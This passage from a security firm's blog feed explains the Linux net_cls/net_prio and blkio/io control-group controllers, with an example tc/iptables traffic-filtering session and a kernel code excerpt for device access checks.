.&lt;/li>
&lt;li>And finally, the title image is from &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.pexels.com/photo/full-frame-shot-of-architectural-structure-248921/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Pexels&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.&lt;/li>
&lt;/ul></description></item><item><title>Linux Container Primitives: Network and Block I/O Control Groups</title><link>https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io/</link><author>Philipp Schmied</author><pubDate>Tue, 12 Jan 2021 10:56:10 +0100</pubDate><category>linux</category><category>container</category><description>
&lt;p>In the previous post of the Linux Container Primitives series, the basics of control groups were covered. This post illustrates the purpose of two &lt;em>cgroup&lt;/em> controllers: Network and Block I/O. The following list shows the topics of all scheduled blog posts. It will be updated with the corresponding links once new posts are being released.&lt;/p>
&lt;ol start="0">
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">An&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Introduction&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Linux&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Containers&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-capabilities/"
class="link-background inline split"
>
&lt;span class="link-label">Linux&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-capabilities/"
class="link-background inline split"
>
&lt;span class="link-label">Capabilities&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">An&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Introduction&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Namespaces&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Mount&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Namespace&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">a&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Description&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">a&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Related&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Information&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Leak&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Docker&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">PID&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">Network&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">Namespaces&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces04-user"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces04-user"
class="link-background inline split"
>
&lt;span class="link-label">User&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces04-user"
class="link-background inline split"
>
&lt;span class="link-label">Namespace&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Namespaces&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Kernel&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">View&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Usage&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Containerization&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">An&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">Introduction&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">Control&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">Groups&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">Network&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">Block&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">I/O&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">Controllers&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">Memory,&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">CPU,&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">Freezer&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">Device&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">Controllers&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Control&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Groups&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Kernel&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">View&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Usage&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Containerization&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;/ol>
&lt;hr>
&lt;h2 id="the-network-controller-v1">The Network Controller (v1)&lt;/h2>
&lt;p>This section covers the resource controllers &lt;code>net_cl&lt;/code> and &lt;code>net_prio&lt;/code>. Both cause identifiers to be attached to sockets once they are created by a process that&amp;rsquo;s being managed by one of the two controllers. The difference between the two controllers is that &lt;code>net_prio&lt;/code> assigns an ID that&amp;rsquo;s unique for each control group whereas &lt;code>net_cl&lt;/code> uses a specified identifier that does not have to be unique for each &lt;em>cgroup&lt;/em>, allowing flexible tagging of sockets in classes [1]. Adding these identifiers allows quick checks to determine whether a socket originates from the same control group or class. This is more efficient than searching in the control group tree, for example using the &lt;em>cgroup&lt;/em> function &lt;code>is_descendant()&lt;/code> to perform these checks - especially if this has to be performed regularly.&lt;/p>
&lt;p>There are multiple use-cases for these additional socket attributes. Among others, some of them are:&lt;/p>
&lt;ul>
&lt;li>Setting the priority of network packets originating from a specific socket or device by using the network priority set by &lt;code>net_prio&lt;/code>.&lt;/li>
&lt;li>Using &lt;code>iptables&lt;/code> in combination with the &lt;code>net_cl&lt;/code> class identifier to filter and route packets based on the control group membership.&lt;/li>
&lt;li>Scheduling network packets based on class identifiers.&lt;/li>
&lt;/ul>
&lt;p>A simple usage example of &lt;code>net_cls&lt;/code> that drops all IP based traffic for all processes not present in a specific control group can be seen below [2]:&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-bash" data-lang="bash">root@box :~# mkdir /sys/fs/cgroup/net_cls &lt;span style="color:#999;font-style:italic"># Create mountpoint&lt;/span>
root@box :~# mount -t cgroup &lt;span style="color:#ed9d13">\ &lt;/span>&lt;span style="color:#999;font-style:italic"># Mount the controller&lt;/span>
-o net_cls net_cls /sys/fs/cgroup/net_cls
root@box :~# mkdir /sys/fs/cgroup/net_cls/IPAllowed &lt;span style="color:#999;font-style:italic"># Create cgroup&lt;/span>
root@box :~# &lt;span style="color:#24909d">echo&lt;/span> 0x100001 &amp;gt; &lt;span style="color:#ed9d13">\ &lt;/span>&lt;span style="color:#999;font-style:italic"># Set the fixed class identifier&lt;/span>
/sys/fs/cgroup/net_cls/IPAllowed/net_cls.classid
root@box :~# tc qdisc add dev &amp;lt;interface&amp;gt; root handle 10: htb
root@box :~# tc class add dev &amp;lt;interface&amp;gt; parent 10: classid 10:1 &lt;span style="color:#ed9d13">\
&lt;/span>&lt;span style="color:#ed9d13">&lt;/span> htb rate 40mbit
root@box :~# tc filter add dev &amp;lt;interface&amp;gt; parent 10: protocol ip &lt;span style="color:#ed9d13">\
&lt;/span>&lt;span style="color:#ed9d13">&lt;/span> prio &lt;span style="color:#3677a9">10&lt;/span> handle 1: cgroup
root@box :~# iptables -A OUTPUT -m cgroup ! &lt;span style="color:#ed9d13">\
&lt;/span>&lt;span style="color:#ed9d13">&lt;/span> --cgroup 0x100001 -j DROP &lt;span style="color:#999;font-style:italic"># Disallow IP for all non-members&lt;/span>
root@box :~# &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#40ffff">$$&lt;/span> &amp;gt; &lt;span style="color:#ed9d13">\ &lt;/span>&lt;span style="color:#999;font-style:italic"># Add process to cgroup&lt;/span>
/sys/fs/cgroup/net_cls/IPAllowed/cgroup.procs
-- Filtering active --
root@box :~# tc qdisc del dev &amp;lt;interface&amp;gt; root; &lt;span style="color:#ed9d13">\ &lt;/span>&lt;span style="color:#999;font-style:italic"># Revert settings&lt;/span>
tc qdisc add dev &amp;lt;interface&amp;gt; root pfifo
&lt;/code>&lt;/pre>&lt;/div>&lt;p>The &lt;code>tc&lt;/code> (&lt;em>Traffic Control&lt;/em>) commands listed above are being used to set up a &lt;code>qdisc&lt;/code> (Queueing-Discipline) that uses the fixed control group class to classify the traffic originating from a control group on a network interface by assigning it to a handle called &lt;code>cgroup&lt;/code>. This filtering is accomplished by using a HTB (Hierarchical Token Bucket) filter. With &lt;code>iptables&lt;/code> it&amp;rsquo;s then possible to use the &lt;code>cgroup&lt;/code> handle to add rules for a control group, e.g. allowing network access.&lt;/p>
&lt;p>This controller type is an example where child control groups are not automatically affected by the &lt;code>net_*&lt;/code> controllers, meaning that this setting is not inherited throughout the hierarchy.&lt;/p>
&lt;h2 id="the-block-io-controller-v1v2">The Block IO Controller (v1/v2)&lt;/h2>
&lt;p>The &lt;code>blkio&lt;/code> (&lt;code>v1&lt;/code>) / &lt;code>io&lt;/code> (&lt;code>v2&lt;/code>) controller is being utilized to enable I/O resource usage policies. The most common use-cases to limit these aspects are:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>Specifying upper bandwidth limits, for example in the &lt;code>blkio.throttle.read_bps_device&lt;/code> file to specify the maximum bandwidth for a device in bits per second. Alternatively, the &lt;code>rbps&lt;/code> parameter in conjunction with the &lt;code>io.max&lt;/code> file is the equivalent for version 2.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Denying access to a specific device.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Limiting with proportional time based division: This allows settings weights for various control groups that will be used to prioritize all device accesses when performing I/O operations. The &lt;code>blkio.weight&lt;/code> file is present for this purpose in &lt;em>cgroup&lt;/em> &lt;code>v1&lt;/code> whereas this is configured with &lt;code>io.weight&lt;/code> in version 2.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;h3 id="enforcing-limits-in-the-kernel">Enforcing Limits in the Kernel&lt;/h3>
&lt;p>Enforcing bandwidth limits is implemented in &lt;code>blk_throtl_bio&lt;/code> which resides in &lt;code>block/blk-throttle.c&lt;/code>. This function makes use of &lt;code>throtl_charge_bio&lt;/code> to ultimately charge for the data volume used in an I/O operation. Depending on the resource usage, an I/O operation can be executed directly or may have to be delayed using a queue to meet the resource limitations. For delayed operations, a dispatcher function will then cause pending operations to be executed using pre-calculated timers in order to throttle requested operations. With &lt;code>throtl_trim_slice&lt;/code> the required time limiting is calculated, yielding the time slice the operation may be executed in.&lt;/p>
&lt;p>To allow or deny accessing a specific device, functions of &lt;code>security/device_cgroup.c&lt;/code> come to use. When passing &lt;em>cgroup&lt;/em> configuration strings to the files present in the virtual control group file system &lt;code>devcgroup_update_access&lt;/code> parses this information and configures the control group accordingly, e.g. by setting flags indicating whether accessing a device is allowed or denied for processes of a &lt;em>cgroup&lt;/em>. This builds an exception list as seen in the listing following below. Upon accessing a block device, &lt;code>__blkdev_get&lt;/code> (&lt;code>fs/block_dev.c&lt;/code>) is being called which performs access checks prior to allowing access. To perform these checks, &lt;code>__devcgroup_check_permission&lt;/code> (&lt;code>security/device_cgroup.c&lt;/code>) is called, resulting in the following checks being performed using the internal exception list:&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-c" data-lang="c">&lt;span style="color:#999;font-style:italic">// current is the current task_struct
&lt;/span>&lt;span style="color:#999;font-style:italic">&lt;/span>dev_cgroup = task_devcgroup(current);
&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> (dev_cgroup-&amp;gt;behavior == DEVCG_DEFAULT_ALLOW)
&lt;span style="color:#999;font-style:italic">// perform checks based on the exception list
&lt;/span>&lt;span style="color:#999;font-style:italic">&lt;/span> rc = !match_exception_partial(&amp;amp;dev_cgroup-&amp;gt;exceptions,
type, major, minor, access);
&lt;span style="color:#6ab825;font-weight:bold">else&lt;/span>
rc = match_exception(&amp;amp;dev_cgroup-&amp;gt;exceptions, type, major,
minor, access);
&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> (!rc)
&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> -EPERM; &lt;span style="color:#999;font-style:italic">// deny access
&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The default scheduler for I/O operations in the Linux kernel is the CFQ scheduler. It was extended to support the I/O related &lt;em>cgroup&lt;/em> controllers after control groups have been introduced in the kernel. This makes it possible to account and constrain processes regarding their consumed I/O resources, for example using pre-defined weights. The CFQ I/O scheduler is implemented in &lt;code>block/cfq-iosched.h&lt;/code> - not to be confused with &lt;code>kernel/sched/fair.c&lt;/code> where process-related CFQ scheduling is implemented. The kernel structure &lt;code>cfq_group&lt;/code> maps various settings per &lt;em>cgroup&lt;/em>-device relationship. This includes applied policies and weights which are considered in order to schedule I/O operations.&lt;/p>
&lt;h2 id="next-post-in-series">Next post in series&lt;/h2>
&lt;ul>
&lt;li>Continue reading the next article in this series &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">Memory,&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">CPU,&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">Freezer&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">Device&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">Controllers&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;br/> Follow us on &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://twitter.com/Schutzwerk"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Twitter&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.linkedin.com/company/schutzwerk/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">LinkedIn&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.xing.com/companies/schutzwerkgmbh/updates"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Xing&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
to stay up-to-date.&lt;/li>
&lt;/ul>
&lt;h2 id="credits">Credits&lt;/h2>
&lt;p>&lt;em>Credits: The elaboration and software project associated to this subject are results of a Master&amp;rsquo;s thesis created at SCHUTZWERK in collaboration with Aalen University by Philipp Schmied.&lt;/em>&lt;/p>
&lt;h2 id="references">References&lt;/h2>
&lt;ul>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://lwn.net/Articles/605039/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">1&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/605039/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">-&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/605039/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Control&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/605039/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">groups,&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/605039/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">part&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/605039/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">3:&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/605039/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">First&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/605039/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">steps&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/605039/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/605039/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">control&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.kernel.org/doc/Documentation/cgroup-v1/net_cls.txt"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">2&lt;/span>
&lt;/a>&lt;a
href="https://www.kernel.org/doc/Documentation/cgroup-v1/net_cls.txt"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">-&lt;/span>
&lt;/a>&lt;a
href="https://www.kernel.org/doc/Documentation/cgroup-v1/net_cls.txt"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Network&lt;/span>
&lt;/a>&lt;a
href="https://www.kernel.org/doc/Documentation/cgroup-v1/net_cls.txt"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">classifier&lt;/span>
&lt;/a>&lt;a
href="https://www.kernel.org/doc/Documentation/cgroup-v1/net_cls.txt"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">cgroup&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.pexels.com/de-de/foto/meer-stadt-strasse-verkehr-2226457"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Title&lt;/span>
&lt;/a>&lt;a
href="https://www.pexels.com/de-de/foto/meer-stadt-strasse-verkehr-2226457"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Image&lt;/span>
&lt;/a>&lt;a
href="https://www.pexels.com/de-de/foto/meer-stadt-strasse-verkehr-2226457"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">by&lt;/span>
&lt;/a>&lt;a
href="https://www.pexels.com/de-de/foto/meer-stadt-strasse-verkehr-2226457"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Tom&lt;/span>
&lt;/a>&lt;a
href="https://www.pexels.com/de-de/foto/meer-stadt-strasse-verkehr-2226457"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Fisk&lt;/span>
&lt;/a>&lt;a
href="https://www.pexels.com/de-de/foto/meer-stadt-strasse-verkehr-2226457"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">via&lt;/span>
&lt;/a>&lt;a
href="https://www.pexels.com/de-de/foto/meer-stadt-strasse-verkehr-2226457"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Pexels&lt;/span>
&lt;/a>&lt;a
href="https://www.pexels.com/de-de/foto/meer-stadt-strasse-verkehr-2226457"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">(cropped)&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;/ul></description></item><item><title>A Methodology for Assessing Security in IoT Healthcare Devices: Background Information</title><link>https://www.schutzwerk.com/en/blog/methodology-iot-healthcare-devices-01/</link><author>Melissa Loos</author><pubDate>Tue, 15 Dec 2020 09:37:00 +0100</pubDate><category>medical devices</category><description>
&lt;p>This is the first post of our IoT healthcare security series.
This blog post summarizes background information specific to healthcare IoT from a security perspective. The fol­low­ing list shows the top­ics of all blog posts in this series.
It will be up­dated with the cor­re­spond­ing links once new posts are being re­leased.&lt;/p>
&lt;ol>
&lt;li>&lt;span class="markdown-link-wrapper">
